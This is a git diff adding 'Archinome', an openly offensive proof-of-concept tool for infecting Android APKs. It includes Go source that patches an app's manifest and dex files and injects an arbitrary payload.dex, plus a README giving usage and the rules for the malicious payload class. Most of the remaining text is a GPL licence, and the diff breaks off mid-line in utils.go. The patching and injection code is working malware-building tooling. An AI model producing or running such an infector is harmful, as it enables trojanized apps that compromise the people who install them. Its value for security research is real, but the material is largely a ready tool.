diff --git a/Infecting Android Applications The New Way/InfectingAndroidApplicationsTheNewWay.pdf b/Infecting Android Applications The New Way/InfectingAndroidApplicationsTheNewWay.pdf new file mode 100644 index 0000000..0fb2305 Binary files /dev/null and b/Infecting Android Applications The New Way/InfectingAndroidApplicationsTheNewWay.pdf differ diff --git a/Infecting Android Applications The New Way/master/Archinome.go b/Infecting Android Applications The New Way/master/Archinome.go new file mode 100644 index 0000000..fd83bc0 --- /dev/null +++ b/Infecting Android Applications The New Way/master/Archinome.go @@ -0,0 +1,55 @@ +// author: Thatskriptkid (www.orderofsixangles.com) +// You can use my kaitai struct for binary manifest. +// https://github.com/thatskriptkid/Kaitai-Struct-Android-Manifest-binary-XML + +package main + +import ( + "common" + mydex "dex" + "encoding/xml" + "fmt" + "log" + "manifest" + "os" +) + +func main() { + + //setup logging + logFile, err := os.OpenFile("apkinfector.log", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644) + if err != nil { + log.Fatal(err) + } + + defer logFile.Close() + + log.SetOutput(logFile) + + manifestPlainFile, err := os.Create(manifest.PlainPath) // create/truncate the file + if err != nil { + log.Panic("Failed to create AndroidManifest plaintext", err) + } + + enc := xml.NewEncoder(manifestPlainFile) + + enc.Indent("", "\t") + + fmt.Println("Parsing APK...") + manifest.ParseApk(os.Args[1], enc) + + //close before reading + manifestPlainFile.Close() + + fmt.Println("Patching APK") + fmt.Println("\t--Patching manifest...") + manifest.Patch() + + fmt.Println("\t--Patching dex...") + mydex.Patch() + + fmt.Println("Injecting...") + common.Inject(os.Args[1], os.Args[2]) + + fmt.Println("Done! Now you should sign your apk") +} diff --git a/Infecting Android Applications The New Way/master/InjectedApp.dex b/Infecting Android Applications The New Way/master/InjectedApp.dex new file mode 100644 index 0000000..48ee0a6 Binary files /dev/null and b/Infecting Android Applications The New Way/master/InjectedApp.dex differ diff --git a/Infecting Android Applications The New Way/master/LICENSE b/Infecting Android Applications The New Way/master/LICENSE new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/Infecting Android Applications The New Way/master/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Infecting Android Applications The New Way/master/README.md b/Infecting Android Applications The New Way/master/README.md new file mode 100644 index 0000000..27e783d --- /dev/null +++ b/Infecting Android Applications The New Way/master/README.md @@ -0,0 +1,39 @@ +# Apk infector Archinome PoC + +Program that infects APK with malicious code using DEX/Manifest patching + +**Full description about What is it and How it works:** + +https://www.orderofsixangles.com/en/2020/04/07/android-infection-the-new-way.html (EN) + +https://www.orderofsixangles.com/ru/2020/07/04/Infecting-android-app-the-new-way.html (RU) + +**Please read article berfore use it!** + +Receives two args: +``` +./Archinome path_to_apk output_apk_filename +``` + +To inject your malicious code, you should place file named payload.dex with malicious code that follow rules: + +1. Class name within payload.dex - `aaaaaaaaaaaa.payload` + +2. Method `public void executePayload()` + +After you infect apk please sign it. + +If there are problems make sure that: + 1. The original application works + 2. All file paths in PoC are correct + 3. There's nothing unusual in apkinfector.log. + 4. The name of the original Application class in the patched InjectedApp.dex is really in its place. + 5. The target application uses its Application class. Otherwise, PoC inoperability is predictable. + +If nothing helped, try to play with the `-min-api` parameter when compiling payload classes. +If nothing worked, then create an issue on github. + + +PoC includes files from https://github.com/avast/apkparser. + +I am not a Go developer so forgive me for the quality of code diff --git a/Infecting Android Applications The New Way/master/common/injector.go b/Infecting Android Applications The New Way/master/common/injector.go new file mode 100644 index 0000000..dbd70bc --- /dev/null +++ b/Infecting Android Applications The New Way/master/common/injector.go @@ -0,0 +1,240 @@ +package common + +import ( + "archive/zip" + "compress/flate" + "fmt" + "io" + "io/ioutil" + "log" + "os" + "path/filepath" + "strconv" + "strings" +) + +var zipOutput, _ = filepath.Abs("sample_unzipped") +var injectedAppPrevName, _ = filepath.Abs("InjectedApp_patched.dex") +var payloadPrevName, _ = filepath.Abs("payload.dex") + +func Inject(path string, zipModifiedOutput string) { + + if _, err := os.Stat(zipOutput); err == nil { + err := os.RemoveAll(zipOutput) + if err != nil { + log.Panic(err) + } + } + if _, err := os.Stat(zipModifiedOutput); err == nil { + err := os.Remove(zipModifiedOutput) + if err != nil { + log.Panic(err) + } + } + + + //unzip apk + files, err := unzip(path, zipOutput) + if err != nil { + log.Panic("Failed to unzip APK",err) + //log.Printf("Unzipped:\n" + strings.Join(files, "\n")) + } + + //calc classes.dex index + max := strings.Count(strings.Join(files, ""), "classes") + log.Printf("max classes dex index = %d", max) + max += 1 + + // inject InjectedApp.dex + var injectedAppNewName = "classes" + strconv.Itoa(max) + ".dex" + + + copy(injectedAppPrevName, zipOutput + "\\" + injectedAppNewName) + + max +=1 + + // inject payload.dex + var payloadNewName = "classes" + strconv.Itoa(max) + ".dex" + + + copy(payloadPrevName, zipOutput + "\\" + payloadNewName) + + log.Printf("Successfuly injected DEX:" + injectedAppNewName + "," + payloadNewName) + + //replace manifest + copy(ManifestBinaryPath, zipOutput + "\\AndroidManifest.xml") + + files = append(files[0:], zipOutput + "\\" + injectedAppNewName) + files = append(files[0:], zipOutput + "\\" + payloadNewName) + + // zip all files + fmt.Println("\t--zipping...") + ZipWriter(zipModifiedOutput) + + //delete sample_unzipped - we dont need it + + if _, err := os.Stat(zipOutput); err == nil { + err := os.RemoveAll(zipOutput) + if err != nil { + log.Panic(err) + } + } +} + + +func ZipWriter(zipModifiedOutput string) { + baseFolder,_ := filepath.Abs("sample_unzipped") + + // Get a Buffer to Write To + outFile, err := os.Create(zipModifiedOutput) + if err != nil { + fmt.Println(err) + } + defer outFile.Close() + + // Create a new zip archive. + w := zip.NewWriter(outFile) + + // Register a custom Deflate compressor. + w.RegisterCompressor(zip.Deflate, func(out io.Writer) (io.WriteCloser, error) { + return flate.NewWriter(out, flate.BestCompression) + }) + + // Add some files to the archive. + addFiles(w, baseFolder, "") + + if err != nil { + fmt.Println(err) + } + + // Make sure to check the error on Close. + err = w.Close() + if err != nil { + fmt.Println(err) + } +} + +func addFiles(w *zip.Writer, basePath, baseInZip string) { + // Open the Directory + files, err := ioutil.ReadDir(basePath) + if err != nil { + fmt.Println(err) + } + + for _, file := range files { + //fmt.Println(basePath + file.Name()) + if !file.IsDir() { + dat, err := ioutil.ReadFile(basePath + "\\" + file.Name()) + if err != nil { + fmt.Println(err) + } + + // Add some files to the archive. + f, err := w.Create(baseInZip + file.Name()) + if err != nil { + fmt.Println(err) + } + _, err = f.Write(dat) + if err != nil { + fmt.Println(err) + } + } else if file.IsDir() { + + // Recurse + newBase := basePath + "\\" + file.Name() + //fmt.Println("Recursing and Adding SubDir: " + file.Name()) + //fmt.Println("Recursing and Adding SubDir: " + newBase) + + recPath := baseInZip + file.Name() + "/" + addFiles(w, newBase, recPath) + } + } +} + + + +func copy(src, dst string){ + sourceFileStat, err := os.Stat(src) + if err != nil { + log.Panic("Failed to inject DEX", err) + } + + if !sourceFileStat.Mode().IsRegular() { + log.Panic("Failed to inject DEX", err) + } + + source, err := os.Open(src) + if err != nil { + log.Panic("Failed to inject DEX", err) + } + defer source.Close() + + destination, err := os.Create(dst) + if err != nil { + log.Panic("Failed to inject DEX", err) + } + defer destination.Close() + _, err = io.Copy(destination, source) + if err != nil { + log.Panic("Failed to inject DEX", err) + } +} + +// Unzip will decompress a zip archive, moving all files and folders +// within the zip file (parameter 1) to an output directory (parameter 2). +func unzip(src string, dest string) ([]string, error) { + + var filenames []string + + r, err := zip.OpenReader(src) + if err != nil { + return filenames, err + } + defer r.Close() + + for _, f := range r.File { + + // Store filename/path for returning and using later on + fpath := filepath.Join(dest, f.Name) + + // Check for ZipSlip. More Info: http://bit.ly/2MsjAWE + if !strings.HasPrefix(fpath, filepath.Clean(dest)+string(os.PathSeparator)) { + return filenames, fmt.Errorf("%s: illegal file path", fpath) + } + + filenames = append(filenames, fpath) + + if f.FileInfo().IsDir() { + // Make Folder + os.MkdirAll(fpath, os.ModePerm) + continue + } + + // Make File + if err = os.MkdirAll(filepath.Dir(fpath), os.ModePerm); err != nil { + return filenames, err + } + + outFile, err := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode()) + if err != nil { + return filenames, err + } + + rc, err := f.Open() + if err != nil { + return filenames, err + } + + _, err = io.Copy(outFile, rc) + + // Close the file without defer to close before next iteration of loop + outFile.Close() + rc.Close() + + if err != nil { + return filenames, err + } + } + return filenames, nil +} + diff --git a/Infecting Android Applications The New Way/master/common/utils.go b/Infecting Android Applications The New Way/master/common/utils.go new file mode 100644 index 0000000..c310222 --- /dev/null +++ b/Infecting Android Applications The New Way/master/common/utils.go @@ -0,0 +1,29 @@ +package common + +import ( + "log" + "os" + "path/filepath" +) + +var ManifestBinaryPath, _ = 